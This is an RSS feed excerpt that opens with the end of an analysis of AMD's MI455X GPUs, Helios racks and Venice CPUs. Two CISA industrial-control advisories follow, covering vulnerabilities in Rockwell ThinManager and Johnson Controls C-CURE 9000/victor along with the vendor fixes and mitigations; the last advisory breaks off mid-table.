<p class="wp-block-paragraph">The architectural choices behind the numbers are important. Reasoning models and long context windows require sizeable KV caches for maintaining AI attention states, while mixture-of-experts models frequently move large amounts of data across accelerators. MI455X should let more model data, activation states and cache remain local. New dedicated IP in hardware can transfer data while the GPU continues processing, and expanded cache and multicast capabilities are designed to reduce redundant data movement to further improve efficiency.</p>



<p class="wp-block-paragraph">The aforementioned lower-precision formats can also raise throughput and reduce memory use, but model developers still have to determine where they can be applied without unacceptable accuracy loss.</p>



<h2 class="wp-block-heading">AMD’s Helios rack takes aim at Vera Rubin</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/amd-helios-rack.jpg?quality=50&amp;strip=all&amp;w=1024" alt="AMD Helios rack" class="wp-image-4200601" width="1024" height="626" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Dave Altavilla</p></div>



<p class="wp-block-paragraph">Helios is AMD’s primary rack-scale competitor to NVIDIA’s Vera Rubin platform. Each liquid-cooled rack combines 72 MI455X GPUs, 18 single-socket Venice host CPUs and Pensando networking technologies.</p>



<p class="wp-block-paragraph">In its most complete, premium configuration, AMD rates Helios for 2.9 exaflops of low-precision AI compute, with 31TB of aggregate HBM4 capacity, 1.7PB/s of memory bandwidth, 260TB/s of bidirectional scale-up bandwidth and 43TB/s of scale-out bandwidth.</p>



<p class="wp-block-paragraph">These are formidable figures, but they are technical specifications rather than actual application benchmarks. The more consequential development is AMD’s move from collections of eight-GPU servers to a 72-GPU shared-memory domain. Models too large for one node can operate across the rack without treating every exchange as a scale-out networking transaction, which benefits large-model inference as well as training.</p>



<p class="wp-block-paragraph">AMD uses UALink over Ethernet, or UALoE, for an open standard scale-up fabric. Each MI455X provides 3.6TB/s of bidirectional scale-up bandwidth, while the complete rack delivers all-to-all connectivity through a single switch layer. AMD also claims six times more scale-out bandwidth per GPU than MI355X when MI455X is configured with three Pensando Vulcano 800 AI NICs.</p>



<p class="wp-block-paragraph">While open standards give cloud providers more control over suppliers and system design, AMD and its partners now have to prove those components can deliver the predictable performance, reliability and deployment experience customers expect from a tightly controlled, more vertically integrated platform.</p>



<p class="wp-block-paragraph">Finally, AMD designed Helios with automatic rerouting around failed links, virtual rack partitions, tray-level serviceability and rack-wide power, cooling and health monitoring. Major hyperscalers and potentially large-scale enterprise customers will likely key in on these capabilities, which can affect the availability, total cost and consistency of the AI services they consume.</p>



<h2 class="wp-block-heading">Kind of like cowbell, AMD Venice gives agentic AI more CPU</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/amd-epyc-venice-cpus.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Chart showing AMD EPYC CPU performance" class="wp-image-4200603" width="1024" height="515" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">AMD</p></div>



<p class="wp-block-paragraph">AMD’s agentic CPU messaging regarding its upcoming Venice-based EPYC processors is mostly marketing speak, but the underlying requirement is very real. An AI agent can invoke retrieval, databases, security checks, code execution and other tools before a GPU generates a response. Running many agents concurrently increases the amount of conventional compute requirements surrounding the accelerators.</p>



<p class="wp-block-paragraph">Venice scales to 256 Zen 6 cores with support for 512 threads, 16 memory channels, up to 1GB of L3 cache per socket, along with PCIe 6.0 and CXL 3.1 connectivity. AMD is also offering several Venice configurations for other applications, including general-purpose servers, high-frequency workloads, GPU hosts and high-density CPU sandbox systems used to execute agent tools.</p>



<p class="wp-block-paragraph">Treating the CPU solely as a GPU host understates its role. Gateways, tokenization, vector search, databases and short-lived code execution stress different mixes of per-core performance, thread count, memory bandwidth and I/O. Specifically, AMD’s internal testing shows Venice significantly outperforming its current EPYC 9965 Turin CPU across five parts of the agentic AI pipeline, including gateway processing, context assembly, vector search, enterprise applications and short-lived tool execution. Individual gains vary by workload, but AMD details the overall generational improvement at up to a 1.7 times lift. As with the MI455X figures though, these comparisons come from AMD and will require independent validation.</p>



<h2 class="wp-block-heading">Pensando networking and ROCm software advance</h2>



<p class="wp-block-paragraph">Keeping GPUs fed with data and coordinating traffic across racks directly affects utilization and operating costs. In fact, GPU utilization is a pretty sad state of affairs currently for some of the major frontier model providers.</p>



<p class="wp-block-paragraph">As such, Pensando networking has become central to AMD’s roadmap. Helios can connect each MI455X to as many as three 800Gbps Vulcano AI NICs, while Salina DPUs handle front-end networking and infrastructure services.</p>



<p class="wp-block-paragraph">On the software side, which is an equally critical component, AMD also introduced ROCm.AI, an AI-assisted development layer due to arrive in August. It includes reusable skills for coding agents, simplified management and Hyperloom, which can profile workloads, tune serving configurations, modify kernels and validate results.</p>



<p class="wp-block-paragraph">These tools address two persistent AMD challenges: developer efficiency and ease of use, and software tuning. Automated optimization still has to produce repeatable gains without creating hard-to-maintain code, however. And while ROCm has progressed significantly over the last few years, NVIDIA’s CUDA retains an advantage in maturity, tooling and developer familiarity.</p>



<h2 class="wp-block-heading">Customer commitments underscore rack-scale confidence</h2>



<p class="wp-block-paragraph">AMD now has commitments that give its MI450 generation and Helios considerably more weight. Meta and OpenAI have announced multi-generation agreements composed of up to 6GW of AMD compute capacity, with initial 1GW deployments planned for the second half of 2026.</p>



<p class="wp-block-paragraph">Oracle plans a 50,000-GPU public cloud cluster beginning in the third quarter, while Microsoft will deploy Helios for Azure AI inference. Finally, just before the AMD event, <a href="https://ir.amd.com/news-events/press-releases/detail/1292/amd-and-anthropic-announce-strategic-partnership-to-deploy-up-to-2-gigawatts-of-amd-instinct-mi450-series-gpus" target="_blank" rel="noreferrer noopener">Anthropic announced</a> a strategic partnership for up to 2 Gigawatts of AMD-fueled AI compute, with its first gigawatt expected online in the first half of 2027.</p>



<p class="wp-block-paragraph">Commitments of this scale reflect confidence in more than just MI455X performance. These customers are evaluating the complete architecture, including Venice CPUs, Pensando networking, ROCm software, rack integration, serviceability and AMD’s ability to deliver and execute across multiple product generations.</p>



<p class="wp-block-paragraph">There is some financial alignment behind the agreements as well. AMD issued OpenAI performance-based warrants and committed to investing up to $5 billion in Anthropic. That context matters when evaluating these deals as market validation, but these planned deployments are substantial nonetheless and put Helios on a much stronger foundation as it begins shipping.</p>



<h2 class="wp-block-heading">AMD expands its robotics and embedded foundation</h2>



<p class="wp-block-paragraph">AMD also expanded its physical AI portfolio, building on credible traction from its Xilinx-derived Kria adaptive system-on-modules and embedded technologies that are already powering robotics, machine vision and industrial automation applications.</p>



<p class="wp-block-paragraph">The new Ryzen AI Embedded X100 combines up to 16 Zen 5 CPU cores, integrated Radeon graphics, a second-generation NPU and as much as 128GB of unified LPDDR5X memory shared across its compute engines. To me this looks a lot like a repackaging and optimization of the company’s Strix Halo platform, but with specific optimizations for the embedded space. Regardless, AMD is pairing X100 with the Kria AI Robotics Developer Platform, which includes a System Module or SOM, and a new Robotics Partner Network spanning hardware, software and platform providers.</p>



<p class="wp-block-paragraph">Samples began shipping in June, with full production expected in the fourth quarter. This broader objective is to give developers a path across AMD x86 CPUs, GPUs, NPUs and FPGAs for real-time autonomous systems, rather than requiring them to assemble those hardware engines and software components independently.</p>



<h2 class="wp-block-heading">Execution for AMD is now the test</h2>



<p class="wp-block-paragraph">AMD has assembled a credible platform for the burgeoning agentic AI market that’s blowing up currently with no signs of stopping. MI455X addresses memory and data movement, Venice handles dense agentic CPU workloads, Pensando networking connects global system resources, and ROCm.AI addresses software complexity. Finally, Helios assembles these components into a true competitive threat for NVIDIA’s latest Vera Rubin platform.</p>



<p class="wp-block-paragraph">AMD’s open architecture may appeal to customers seeking supplier choice, but openness must also translate into reliable deployments, competitive total cost and software that does not require a significant rip-up. NVIDIA enters this cycle with a stronger ecosystem and far more rack-scale deployment experience. The true test will be how easily and reliably customers can integrate, operate and maintain these AMD solutions at scale.</p>



<p class="wp-block-paragraph">As it stands, AMD now has major customers and a clearly defined architecture with systems engineering expertise behind it. Delivering Helios on schedule and showing that its performance claims translate into a real production workload throughput advantage and total cost of ownership gains will determine how much the competitive gap narrows. And of course, this is in a market that is clamoring for ever-more compute resources with a seemingly insatiable demand for AI services and capacity. That’s an environment for big iron success. Now AMD just has to deliver optimized, turnkey AI platforms. This is far easier said than done, but time will soon tell as deployments take shape this year.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.computerworld.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Rockwell Automation ThinManager]]></title>
<description><![CDATA[View CSAF
Summary
Successful exploitation of this vulnerability could allow an authenticated attacker to write arbitrary files to restricted system directories outside of the application's intended directory.
The following versions of Rockwell Automation ThinManager are affected:

ThinManager >=1...]]></description>
<link>https://tsecurity.de/de/3689943/it-security-nachrichten/rockwell-automation-thinmanager/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689943/it-security-nachrichten/rockwell-automation-thinmanager/</guid>
<pubDate>Thu, 23 Jul 2026 20:17:43 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-204-05.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>Successful exploitation of this vulnerability could allow an authenticated attacker to write arbitrary files to restricted system directories outside of the application's intended directory.</strong></p>
<p>The following versions of Rockwell Automation ThinManager are affected:</p>
<ul>
<li>ThinManager &gt;=13.0.0|&lt;13.0.7, &gt;=13.1.0|&lt;13.1.5, &gt;=13.2.0|&lt;13.2.4, &gt;=14.0.0|&lt;14.0.2</li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 8.1</td>
<td>Rockwell Automation</td>
<td>Rockwell Automation ThinManager</td>
<td>Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Chemical, Critical Manufacturing, Energy, Food and Agriculture, Water and Wastewater</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>United States</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-11917</a></h3>
<div class="csaf-accordion-content">
<p>A path traversal security issue exists within Rockwell Automation ThinManager software due to improper limitation of file save operations within the API. An authenticated attacker could exploit this vulnerability to write arbitrary files to restricted system directories outside of the application's intended directory.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-11917">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Rockwell Automation ThinManager</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Rockwell Automation</div>
<div class="ics-version"><strong>Product Version:</strong><br>Rockwell Automation ThinManager: &gt;=13.0.0|&lt;13.0.7, Rockwell Automation ThinManager: &gt;=13.1.0|&lt;13.1.5, Rockwell Automation ThinManager: &gt;=13.2.0|&lt;13.2.4, Rockwell Automation ThinManager: &gt;=14.0.0|&lt;14.0.2</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Users using the affected software, should upgrade to one of the corrected versions as follows:</p>
<p><strong>Vendor fix</strong><br>ThinManager Versions 13.0.0 - 13.0.7 --&gt; 13.0.8</p>
<p><strong>Vendor fix</strong><br>ThinManager Versions 13.1.0 - 13.1.5 --&gt; 13.1.6</p>
<p><strong>Vendor fix</strong><br>ThinManager Versions 13.2.0 - 13.2.4 --&gt; 13.2.5</p>
<p><strong>Vendor fix</strong><br>ThinManager Versions 14.0.0 - 14.0.2 --&gt; 14.0.3</p>
<p><strong>Mitigation</strong><br>Users using the affected software, who are not able to upgrade to one of the corrected versions, should use Rockwell Automation's security best practices.<br><a href="https://support.rockwellautomation.com/app/answers/answer_view/a_id/1085012/loc/en_US#__highlight">https://support.rockwellautomation.com/app/answers/answer_view/a_id/1085012/loc/en_US#__highlight</a></p>
<p><strong>Mitigation</strong><br>For more information, refer to Rockwell Automation's Securitry Advisory page.<br><a href="https://www.rockwellautomation.com/en-us/trust-center/security-advisories.html">https://www.rockwellautomation.com/en-us/trust-center/security-advisories.html</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/22.html">CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.1</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>7.2</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Rockwell Automation reported this vulnerability to CISA</li>
</ul>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take defensive measures to minimize the risk of exploitation of this vulnerability.</p>
<p>Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the internet.</p>
<p>Locate control system networks and remote devices behind firewalls and isolating them from business networks.</p>
<p>When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.</p>
<p>CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.</p>
<p>Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<p>CISA also recommends users take the following measures to protect themselves from social engineering attacks:</p>
<p>Do not click web links or open attachments in unsolicited email messages.</p>
<p>Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.</p>
<p>Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.</p>
<p>No known public exploitation specifically targeting this vulnerability has been reported to CISA at this time.</p>
<hr>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-07-14</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-07-14</td>
<td>1</td>
<td>Initial Publication by Rockwell Automation</td>
</tr>
<tr>
<td>2026-07-21</td>
<td>2</td>
<td>Initial Republication of Rockwell Automation advisory</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[Johnson Controls C-CURE 9000 and Victor application server]]></title>
<description><![CDATA[View CSAF
Summary
Successful exploitation of these vulnerabilities could allow an attacker with network access to achieve remote code execution.
The following versions of Johnson Controls C-CURE 9000 and Victor application server are affected:

C-CURE 9000 and victor]]></description>
<link>https://tsecurity.de/de/3689942/it-security-nachrichten/johnson-controls-c-cure-9000-and-victor-application-server/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689942/it-security-nachrichten/johnson-controls-c-cure-9000-and-victor-application-server/</guid>
<pubDate>Thu, 23 Jul 2026 20:17:06 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-204-01.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>Successful exploitation of these vulnerabilities could allow an attacker with network access to achieve remote code execution.</strong></p>
<p>The following versions of Johnson Controls C-CURE 9000 and Victor application server are affected:</p>
<ul>
<li>C-CURE 9000 and victor &lt;=v2.90_v3.0 </li>
<li>victor Web &lt;=v7.1 </li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 9.6</td>
<td>Johnson Controls</td>
<td>Johnson Controls C-CURE 9000 and Victor application server</td>
<td>Server-Side Request Forgery (SSRF), Execution with Unnecessary Privileges</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Critical Manufacturing</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>Ireland</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-21655</a></h3>
<div class="csaf-accordion-content">
<p>Under certain circumstances, successful exploitation of this vulnerability could allow an unauthenticated attacker on the adjacent network to achieve arbitrary code execution on the C-CURE 9000 or victor application server, as well as connected clients (e.g., workstations of physical security personnel). Such an attack could impact physical security controls.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-21655">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Johnson Controls C-CURE 9000 and Victor application server</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Johnson Controls</div>
<div class="ics-version"><strong>Product Version:</strong><br>Johnson Controls C-CURE 9000 and victor: &lt;=v2.90_v3.0</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Johnson Controls recommends the following defensive measures to help reduce the risk of exploitation: (CVE-2026-21655) Upgrade to C-CURE 9000 / victor version 3.20 or later, which addresses the vulnerable deserialization path (LV1.1).</p>
<p><strong>Vendor fix</strong><br>Network segmentation - Isolate the C-CURE 9000 and victor application servers on a dedicated network segment and restrict access to port 8999 to only authorized systems that require connectivity.</p>
<p><strong>Mitigation</strong><br>Firewall / access control lists - Implement strict firewall rules to block all unnecessary inbound connections to port 8999 from untrusted network segments.</p>
<p><strong>Mitigation</strong><br>Intrusion detection / prevention - Deploy IDS/IPS signatures tuned to detect known .NET deserialization exploit payloads (e.g., ysoserial.net patterns) targeting port 8999.</p>
<p><strong>Mitigation</strong><br>Application whitelisting - Enforce application whitelisting on application server hosts to prevent unauthorized executables from being launched by the server process.</p>
<p><strong>Mitigation</strong><br>Least privilege - Ensure the application server process runs with the minimum privileges necessary, reducing the impact of successful exploitation.</p>
<p><strong>Mitigation</strong><br>Monitor and audit - Enable detailed logging on application server hosts and monitor for anomalous process creation by SoftwareHouse.CrossFire.Server.exe.</p>
<p><strong>Mitigation</strong><br>Disable unnecessary services - If the ClientConnectionManager_NF.SynchronousServerNotification callback interface is not required, disable or restrict it to reduce attack surface.</p>
<p><strong>Mitigation</strong><br>For more detailed mitigation instructions, please see Johnson Controls Product Security Advisories JCI-PSA-2026-07, JCI-PSA-2026-13, and JCI-PSA-2026-16 at the following location: https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories<br><a href="https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories">https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/918.html">CWE-918 Server-Side Request Forgery (SSRF)</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>8.7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-21653</a></h3>
<div class="csaf-accordion-content">
<p>Under certain circumstances, successful exploitation of this vulnerability could allow an attacker to forge server-side HTTP requests from the victor Web application. This could be leveraged to interact with internal services running on the host or accessible on the local network, potentially leading to unauthorized information disclosure or lateral movement within the network.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-21653">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Johnson Controls C-CURE 9000 and Victor application server</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Johnson Controls</div>
<div class="ics-version"><strong>Product Version:</strong><br>Johnson Controls victor Web: &lt;v7.0</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>(CVE-2026-21653, CVE-2026-34496) Update all victor Web installations to version 7.0 or later, which contains the fix for this vulnerability. The fix has been validated through independent retest.</p>
<p><strong>Mitigation</strong><br>Firewall / access control lists - Implement strict firewall rules to block all unnecessary inbound connections to port 8999 from untrusted network segments.</p>
<p><strong>Mitigation</strong><br>Intrusion detection / prevention - Deploy IDS/IPS signatures tuned to detect known .NET deserialization exploit payloads (e.g., ysoserial.net patterns) targeting port 8999.</p>
<p><strong>Mitigation</strong><br>Application whitelisting - Enforce application whitelisting on application server hosts to prevent unauthorized executables from being launched by the server process.</p>
<p><strong>Mitigation</strong><br>Least privilege - Ensure the application server process runs with the minimum privileges necessary, reducing the impact of successful exploitation.</p>
<p><strong>Mitigation</strong><br>Monitor and audit - Enable detailed logging on application server hosts and monitor for anomalous process creation by SoftwareHouse.CrossFire.Server.exe.</p>
<p><strong>Mitigation</strong><br>Disable unnecessary services - If the ClientConnectionManager_NF.SynchronousServerNotification callback interface is not required, disable or restrict it to reduce attack surface.</p>
<p><strong>Mitigation</strong><br>For more detailed mitigation instructions, please see Johnson Controls Product Security Advisories JCI-PSA-2026-07, JCI-PSA-2026-13, and JCI-PSA-2026-16 at the following location: https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories<br><a href="https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories">https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/918.html">CWE-918 Server-Side Request Forgery (SSRF)</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>9.6</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H">CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>9.4</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H">CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-34496</a></h3>
<div class="csaf-accordion-content">
<p>Under certain circumstances, successful exploitation of this vulnerability could result in low privilege users accessing unauthorized pages such as Users and Logs. Successful exploitation could allow an attacker to view sensitive system information, user account details, and audit logs beyond their intended access level, potentially enabling further attacks or unauthorized administrative actions.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-34496">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Johnson Controls C-CURE 9000 and Victor application server</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Johnson Controls</div>
<div class="ics-version"><strong>Product Version:</strong><br>Johnson Controls victor Web: &lt;=v7.1</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>(CVE-2026-21653, CVE-2026-34496) Update all victor Web installations to version 7.0 or later, which contains the fix for this vulnerability. The fix has been validated through independent retest.</p>
<p><strong>Mitigation</strong><br>Firewall / access control lists - Implement strict firewall rules to block all unnecessary inbound connections to port 8999 from untrusted network segments.</p>
<p><strong>Mitigation</strong><br>Intrusion detection / prevention - Deploy IDS/IPS signatures tuned to detect known .NET deserialization exploit payloads (e.g., ysoserial.net patterns) targeting port 8999.</p>
<p><strong>Mitigation</strong><br>Application whitelisting - Enforce application whitelisting on application server hosts to prevent unauthorized executables from being launched by the server process.</p>
<p><strong>Mitigation</strong><br>Least privilege - Ensure the application server process runs with the minimum privileges necessary, reducing the impact of successful exploitation.</p>
<p><strong>Mitigation</strong><br>Monitor and audit - Enable detailed logging on application server hosts and monitor for anomalous process creation by SoftwareHouse.CrossFire.Server.exe.</p>
<p><strong>Mitigation</strong><br>Disable unnecessary services - If the ClientConnectionManager_NF.SynchronousServerNotification callback interface is not required, disable or restrict it to reduce attack surface.</p>
<p><strong>Mitigation</strong><br>For more detailed mitigation instructions, please see Johnson Controls Product Security Advisories JCI-PSA-2026-07, JCI-PSA-2026-13, and JCI-PSA-2026-16 at the following location: https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories<br><a href="https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories">https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/250.html">CWE-250 Execution with Unnecessary Privileges</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>8.7</td>
<td>HIGH</td>
